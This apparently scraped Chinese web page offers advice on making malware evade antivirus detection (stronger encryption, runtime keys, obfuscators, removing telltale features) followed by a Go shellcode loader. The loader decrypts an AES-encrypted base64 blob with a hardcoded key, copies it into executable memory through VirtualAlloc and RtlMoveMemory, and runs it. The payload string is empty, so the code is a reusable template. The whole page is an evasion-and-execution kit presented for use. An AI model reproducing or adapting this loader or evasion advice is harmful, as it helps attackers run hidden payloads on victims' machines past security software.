由于代码中涉及到加密和解密的操作,我们可以通过以下几种方式来提升免杀效果:

  1. 更改加密算法:可以选择一些较为复杂的加密算法,如RSA、ECC等,这样可以增加对恶意软件的识别难度。

  2. 动态生成密钥:可以在代码中动态生成密钥,这样可以避免静态分析时对密钥的提取,也可以增加对恶意软件的识别难度。

  3. 使用混淆器:可以将代码放入混淆器中进行混淆,可以使代码结构更加难以被分析,从而提高免杀效果。

  4. 去除明显的恶意特征:可以去除一些明显的恶意特征,如过多的系统调用、文件读写等,从而降低被杀软件的概率。

package main

import (
	'crypto/aes'
	'crypto/cipher'
	'encoding/base64'
	'fmt'
	'syscall'
	'unsafe'
)

var (
	kernel32      = syscall.NewLazyDLL('kernel32.dll')
	VirtualAlloc  = kernel32.NewProc('VirtualAlloc')
	RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)

func build(ddm string) {
	sDec, _ := base64.StdEncoding.DecodeString(ddm)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}



//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
	n := len(str)
	count := int(str[n-1])
	newPaddingText := str[:n-count]
	return newPaddingText
}

//---------------DES解密--------------------


func DecrptogAES(src, key []byte) []byte {
	block, err := aes.NewCipher(key)
	if err != nil {
		fmt.Println(nil)
		return nil
	}
	blockMode := cipher.NewCBCDecrypter(block, key)
	blockMode.CryptBlocks(src, src)
	src = UnPaddingText1(src)
	return src
}

func main() {
	str := ''
	key := []byte('UjdEh73Oeiciseds')
	base_byte, _ := base64.StdEncoding.DecodeString(str)
	build(string(DecrptogAES(base_byte, key)))
}
提升免杀效果:代码加密与混淆技巧

原文地址: https://www.cveoy.top/t/topic/lPf8 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录